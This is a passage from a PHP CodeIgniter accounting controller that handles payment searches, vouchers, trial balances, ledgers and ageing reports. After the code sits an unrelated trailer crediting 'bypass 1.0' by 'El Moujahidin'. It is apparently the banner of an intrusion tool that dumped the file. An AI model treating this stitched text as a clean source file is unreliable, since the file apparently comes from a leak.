            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_unposted_bank_deposit($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
        function search_unposted_bank_payment($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 't.date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_unposted_bank_payment($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_unposted_bank_payment($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
        function search_posted_bank_payment($page,$seloption,$pagenum="",$searchtext="")
	{
            
            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'trans_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_posted_bank_payment($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_posted_bank_payment($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}

        function search_unposted_customer_payment($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 't.date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_unposted_customer_payment($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_unposted_customer_payment($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
        function search_posted_customer_payment($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'tran_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            if($seloption == 'c.amount')
            {
                $searchtext="-".$searchtext;

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_posted_customer_payment($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_posted_customer_payment($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}

        function viewcustalloc_pages($page,$type,$pagenum)
        {
            $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->countcust_alloc_val('customer_trans','amount','-');

           $data['bank']=$this->accountingsmodel->custom_allocat('customer_trans',$pagenum,'amount','-');
           $this->load->view('Accounting/'.$page,$data);

        }

      function viewempalloc_pages($page,$type,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->countemp_alloc_val('agent_trans','amount','-');

           $data['bank']=$this->accountingsmodel->emplo_allocat('agent_trans',$pagenum,'amount','-');
           $this->load->view('Accounting/'.$page,$data);

        }
          function viewcompalloc_pages($page,$type,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->countemp_alloc_val('company_trans','amount','-');

           $data['bank']=$this->accountingsmodel->emplo_allocat('company_trans',$pagenum,'amount','-');
           $this->load->view('Accounting/'.$page,$data);

        }

        function pdf_receipt_voucher($id)
    {


        $this->load->plugin('to_pdf');
            $data['receipt']=$this->accountingsmodel->get_receipt_voucher($id);
            $data['company']=$this->mastermodel->getdatas('mycompany');
	  $page='pdf_receipt_voucher';


            $data['id']=$id;

            $this->load->view('Accounting/'.$page.'',$data);
    }
       function pdf_receipt_voucherforall($id)
    {


            $this->load->plugin('to_pdf');
            $data['receipt']=$this->accountingsmodel->generate_rv($id);
            $data['company']=$this->mastermodel->getdatas('mycompany');
            $page='pdf_receipt_voucherforall';


            $data['id']=$id;

            $this->load->view('Accounting/'.$page.'',$data);
    }
      function pdf_payment_voucherforall($id)
    {


        $this->load->plugin('to_pdf');
            $data['receipt']=$this->accountingsmodel->generate_pv($id);
            $data['company']=$this->mastermodel->getdatas('mycompany');
	  $page='pdf_payment_voucherforall';


            $data['id']=$id;

            $this->load->view('Accounting/'.$page.'',$data);
    }
    function searchtransaction($page,$pagenum,$type,$from,$to,$ref="")
    {
         $ref=str_replace("~"," ",$ref);
         $ref=str_replace("_","/",$ref);
          $data['currpage']=$pagenum;
         $data['totrecord']=$this->accountingsmodel->search_trans($pagenum,'count',$ref,$type,$from,$to);
         $data['bank']=$this->accountingsmodel->search_trans($pagenum,'data',$ref,$type,$from,$to);
         $this->load->view('Accounting/'.$page,$data);
         
    }
   
    function pdf_trail_bal($from,$mainacc="",$rangefrom="",$rangeto="")
    {

 
       $to1=explode('-',$from);
       $days=$this->accountingsmodel->monthdays($to1[1], $to1[2]);
       $to=$days.'-'.$to1[1].'-'.$to1[2];
       $from='01-'.$to1[1].'-'.$to1[2];

        $this->load->plugin('to_pdf');
            $data['receipt']=$this->accountingsmodel->get_trail_balance($from,$to,$mainacc,$rangefrom,$rangeto);
            $data['company']=$this->mastermodel->getdatas('mycompany');
	    $page='pdf_trail_balance';

             $data['date1']=$from;
             $data['date2']=$to;
            $data['sub']='true';
            $data['heading']="Sub Account Trail Balance";
            $data['rfrom']=$rangefrom;
            $data['rto']=$rangeto;

            $this->load->view('Accounting/'.$page.'',$data);
    }

    function pdf_main_trail_bal($from)
    {
        $to1=explode('-',$from);
       $days=$this->accountingsmodel->monthdays($to1[1], $to1[2]);
       $to=$days.'-'.$to1[1].'-'.$to1[2];
       $from='01-'.$to1[1].'-'.$to1[2];

            $this->load->plugin('to_pdf');
            $data['receipt']=$this->accountingsmodel->get_main_trail_balance($from,$to);
            $data['company']=$this->mastermodel->getdatas('mycompany');
	    $page='pdf_trail_balance';
            $data['sub']='false';
            $data['date1']=$from;
            $data['date2']=$to;
            $data['heading']="Trail Balance";
            $data['rfrom']="";
            $data['rto']="";
            $this->load->view('Accounting/'.$page.'',$data);
    }

    function pdf_sub_gl($from,$to,$mainacc,$rfrom='',$rto='')
    {
            $this->load->plugin('to_pdf');
            $output=$this->accountingsmodel->get_sub_gl($from,$to,$mainacc,$rfrom,$rto);
            $data['company']=$this->mastermodel->getdatas('mycompany');
            $data['receipt']=$output['transdet'];
            
	    $page='pdf_gl';
            $data['sub']='true';
            $data['date1']=$from;
            $data['date2']=$to;
            $data['acctitle']='Sub A/c Total';
            $data['heading']="Sub Account Ledger";
            $data['fname']="Sub Account Ledger";
            $data['rfrom']=$rfrom;
            $data['rto']=$rto;
            $this->load->view('Accounting/'.$page.'',$data);
    }

     function pdf_main_gl($rangefrom,$rangeto,$fromdate,$todate)
    {
            $this->load->plugin('to_pdf');
            $output=$this->accountingsmodel->get_main_gl($rangefrom,$rangeto,$fromdate,$todate);
            $data['company']=$this->mastermodel->getdatas('mycompany');
            $data['receipt']=$output['transdet'];
           
	    $page='pdf_gl';
            $data['sub']='false';
            $data['acctitle']='A/c Total';
            $data['date1']=$fromdate;
            $data['date2']=$todate;
            $data['heading']="General Ledger";
            $data['fname']="General Ledger";
            $data['rfrom']=$rangefrom;
            $data['rto']=$rangeto;
            $this->load->view('Accounting/'.$page.'',$data);
    }

    function pdf_ageing_report($from,$accval)
    {
        
            
            $this->load->plugin('to_pdf');
            $sbstr=substr($accval, 0, 3);

            switch ($sbstr)
            {
                case 'CRP':
                    $data['maintype']=3;
                    $data['cid']=$this->customermodel->getSingleFieldValue('customers','id','code',$accval);
                    break;
                case 'EMP':
                    $data['maintype']=1;
                    $data['cid']=$this->customermodel->getSingleFieldValue('staffpersonaldetails','id','employeeid',$accval);
                    break;
                case 'INS':
                    $data['maintype']=2;
                    $data['cid']=$this->customermodel->getSingleFieldValue('insurance_company','id','company_code',$accval);
                    break;
                case 'IDL':
                    $data['maintype']=3;
                    $data['cid']=$this->customermodel->getSingleFieldValue('customers','id','code',$accval);
                    break;


            }
            $output=$this->accountingsmodel->get_ageing_report($from,$accval,$data['maintype'],$data['cid']);
            $data['balance']=$output['balance'];
            $data['current']=$output['current'];
            $data['lthirty']=$output['lthirty'];
            $data['lninty']=$output['lninty'];
            $data['loneeighty']=$output['loneeighty'];
            $data['ltseventy']=$output['ltseventy'];
            $data['ltsixty']=$output['ltsixty'];
            $data['statement']=$output['transdet'];
            $data['accdet']=$output['accdet'];
            $data['company']=$this->mastermodel->getdatas('mycompany');
	    $page='pdf_ageing_report';
          
            $data['accountcode']=$accval;
             $data['date1']=$from;
           

            $this->load->view('Accounting/'.$page.'',$data);
    }

    function pdf_ageingsummary_report($from,$accval,$empid="")
    {
            $this->load->plugin('to_pdf');
            $output=$this->accountingsmodel->get_ageingsummary_report($from,$accval,$empid);
            
            $data['statement']=$output['transdet'];
            $data['accdet']=$output['accdet'];
            $data['accounttype']=$accval;
            if(!empty ($empid))
                $accval=3;

            $data['maintype']=$accval;
            
             $data['date1']=$from;
            $data['company']=$this->mastermodel->getdatas('mycompany');
	    $page='pdf_ageingsummary_report';


             $data['date1']=$from;


            $this->load->view('Accounting/'.$page.'',$data);
    }

     function listSearchcustomer($searchBy,$pagenum,$custname="")
    {

        $data['per_page']=6;
	$data['custname']=$custname;
	$data['searchBy']=$searchBy;
	$data['currentpage']=1;

	if($pagenum!=1)
	{
	$data['id']=($pagenum-1) * $data['per_page']+1;
	}
	else
	{
	$data['id']=1;
	}
    	$dat['viewinfo']=$this->customermodel->ListofCustomers($custname,$searchBy,$pagenum,$data['per_page']);
        $data['MaxPage']=$dat['viewinfo']['maxpage'];
        $data['viewinfo']=$dat['viewinfo']['result'];
    	$this->load->view('Accounting/loadcustomerlist',$data);
    }

     function listSearchstaff($pagenum,$searchBy="",$staffname="")
    {


        //echo 'page no:'. $pagenum .' Searchby:'. $searchBy.' valuie:'.$staffname;

        $data['per_page']=6;

	if($pagenum!=1)
	{
	$data['id']=($pagenum-1) * $data['per_page']+1;
	}
	else
	{
	$data['id']=1;
	}


	$data['searchBy']=$searchBy;
	$data['currentpage']=$pagenum;
        $data['custname']=$staffname;
         $counts=$this->documentsmodel->count_alls('staffpersonaldetails','id','');
                if($counts==0)
                {
                $data['Maxpage']=1;
                }
                else{
                $data['Maxpage']=ceil($counts/$data['per_page']);
                }



    $data['viewinfo']=$this->hrmodel->employeelistpagination($pagenum, $data['per_page'],$staffname,$searchBy);

    $this->load->view('Accounting/loadstafflist',$data);
    }

    function listcompany($seloption,$pagenum="",$searchtext="")
    {
           $searchtext=str_replace("~"," ",$searchtext);
           $searchtext=str_replace("_","/",$searchtext);
            $data['property']='search';
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';

            $data['count']=$this->mastermodel->search_company($seloption,$searchtext,'true');

            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
	       $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	      $data['startpage']=$arr[0];
	      $data['endpage']=$arr[1];
           $data['viewinfo']=$this->mastermodel->search_company($seloption,$searchtext,'false',$data['pagenum'],$data['perpage']);
    	$this->load->view('Accounting/loadcomplist',$data);
    }


    function pdf_statement_account($value,$from,$to)
    {

            $this->load->plugin('to_pdf');
            $sbstr=substr($value, 0, 3);

            switch ($sbstr)
            {
                case 'CRP':
                    $data['maintype']=3;
                    $data['cid']=$this->customermodel->getSingleFieldValue('customers','id','code',$value);
                    break;
                case 'EMP':
                    $data['maintype']=1;
                    $data['cid']=$this->customermodel->getSingleFieldValue('staffpersonaldetails','id','employeeid',$value);
                    break;
                case 'INS':
                    $data['maintype']=2;
                    $data['cid']=$this->customermodel->getSingleFieldValue('insurance_company','id','company_code',$value);
                    break;
                case 'IDL':
                    $data['maintype']=3;
                    $data['cid']=$this->customermodel->getSingleFieldValue('customers','id','code',$value);
                    break;
                

            }

            
            $output=$this->accountingsmodel->get_statement_account($value,$data['maintype'],$data['cid'],$from,$to);
            $data['accdet']=$output['accdet'];
            $data['statement']=$output['transdet'];
            $data['company']=$this->mastermodel->getdatas('mycompany');
	    $page='pdf_statement_account';

             $data['date1']=$from;
             $data['date2']=$to;
             
             


            $this->load->view('Accounting/'.$page.'',$data);
    }

    function fiscaldate_check($date)
    {
        $data=$this->accountingsmodel->fiscaldate_check($date);
        echo $data;
    }


    function searchchartaccountmain($mainaccount,$counter="")
    {
        $data['mainacc']=$mainaccount;
        $data['counter']=$counter;
        $this->load->view('Accounting/searchchartaccountmain',$data);
    }
    function searchmainaccount($counter="")
    {
        
        $data['counter']=$counter;
        $this->load->view('Accounting/searchmainaccount',$data);
    }

    function searchmainaccountjournal($count="")
    {
        $data['count']=$count;
        $this->load->view('Accounting/searchmainaccountjournal',$data);
    }


    function loadaccountid($accid)
    {
        $id=$this->customermodel->getSingleFieldValue('chart_master','id','account_code',$accid);
        echo $id;
       
    }

    function loadaccountname($accid)
    {
       $id=$this->customermodel->getSingleFieldValue('chart_master','account_name','account_code',$accid);
        echo $id;
    }

    function findaccountbyno($code)
    {
       $code =explode("-",$code);
//       $code=str_replace("~","/",$code);
//       var_dump( $code);die();
       $data=$this->accountingsmodel->findaccountbyno($code[0]);
       echo $data;
    }
    
    }


?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net